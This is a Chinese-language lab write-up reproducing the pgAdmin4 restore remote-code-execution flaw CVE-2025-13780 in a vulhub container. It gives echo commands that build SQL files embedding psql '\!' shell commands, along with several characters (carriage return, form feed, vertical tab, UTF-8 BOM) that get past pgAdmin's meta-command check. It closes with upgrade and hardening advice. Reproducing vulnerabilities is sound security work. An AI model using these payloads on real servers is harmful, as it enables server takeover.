pgAdmin4后台Restore RCE(CVE-2025-13780)复现

简介

pgAdmin是一个流行且功能丰富的开源PostgreSQL数据库管理和开发平台,广泛被数据库管理员和开发者用于通过Web界面管理PostgreSQL数据库。

pgAdmin4 9.11版本之前存在一个远程代码执行漏洞。pgAdmin4的restore功能使用psql命令行程序执行用户上传的纯文本格式sql文件 。攻击者可以利用特殊字符绕过pgAdmin4对文件内容的安全检查,在sql文件中嵌入meta command (\!),使psql程序执行系统命令。

搭建

pgAdmin4 9.10

bash 复制代码
#vulhub
cd vulhub/pgadmin/CVE-2025-13780
docker-compose up -d

登录凭据为vulhub@example.com:vulhub

访问 http://ip:5050

sql:vulhub:vulhub

复现

文件生成

test.sql:

bash 复制代码
echo -ne "SELECT 1;\n\\! bash -c 'touch /tmp/hacked2'\n" > test.sql

test2.sql:

bash 复制代码
echo -ne "SELECT 1;\r\n\\! bash -c 'touch /tmp/hacked2'\n" > test2.sql

payload.sql:

bash 复制代码
echo -ne "SELECT 1;\r\\! bash -c 'touch /tmp/hacked2'\r" > payload.sql

开始"restore"

点击 servers 输入密码登录数据库后,server - main - database - vulhub ,然后右键点击 restore

上传sql文件

选择文件

选择"upload"

单击页面并选择文件

点击上面的"x"返回

选择刚才的文件

restore执行

切换格式为"Plain "并执行payload

else

如果选择test.sql\test2.sql :

恢复被阻止:所选纯SQL文件包含psql元命令(例如\!或\i)。出于安全考虑,pgAdmin不会执行纯恢复中的元命令。请移除元命令。

原来的代码has_meta_commands()函数使用br'(^|\n)[ \t]*\\',只识别\n作为行开始,将反斜杠前的空格和制表符 视为可忽略字符以及在二进制模式下扫描文件

故除了使用\r,还可以通过多种方式构造payload绕过pgAdmin的has_meta_commands()函数检测

bash 复制代码
# 垂直制表符
echo -ne "SELECT 1;\x0c\\! ls>/tmp/ls" > payload_ff.sql

# 换页符
echo -ne "SELECT 1;\x0b\\! id>/tmp/id" > payload_vt.sql

# UTF-8 BOM绕过
echo -ne "\xef\xbb\xbf\\! echo utf_bom>/tmp/bom" > payload_bom.sql

借鉴:高危 pgAdmin 远程代码执行漏洞(CVE-2025-13780)绕过此前修复:可通过恶意数据库恢复实现服务器接管-安全KER - 安全资讯平台

防御

  1. 立即升级 pgAdmin 至 ≥ 9.11,官方已修复该漏洞。
  2. 在升级前,避免在服务器模式下从不可信来源恢复 PLAIN 格式 SQL 文件。
  3. 对数据库恢复功能增加严格的文件内容过滤与命令执行隔离。
  4. 使用最小权限原则运行 pgAdmin 服务账户,降低被利用后的危害范围。
相关推荐
覆东流3 小时前
7.Java数组
java·开发语言·后端
程序员小八7773 小时前
MySQL 事务:一文把 ACID、隔离级别、MVCC、锁全串起来
数据库·mysql
threerocks4 小时前
AI 原生软件开发生命周期手册 - 如何借助 AI,逐阶段改造软件开发生命周期
前端·javascript·后端
lzhdim4 小时前
提高 SQL 语句执行速度的方法
java·开发语言·数据库·sql·oracle
JavaPub-rodert4 小时前
王仕宇在 Go Context 如何解决协程泄漏与超时控制
开发语言·后端·golang·iphone·javapub·王仕宇
ltl4 小时前
ClickHouse Distributed 引擎与分布式查询路由
数据库
Wang's Blog4 小时前
PostgreSQL笔记60: 权限与角色管理——从层级体系到最佳实践
数据库·笔记·postgresql
深漂的华哥4 小时前
Ruoyi-Plus前后端分离场景下,数据加密传输
java·spring boot·后端·开源·maven·ruoyi
whcyhhh5 小时前
头歌实践教学平台:大数据存储2023(六)
大数据·数据库·python
why技术6 小时前
eli5,我觉得这个全网在吹的技能,使用体验真的很一般啊。
前端·人工智能·后端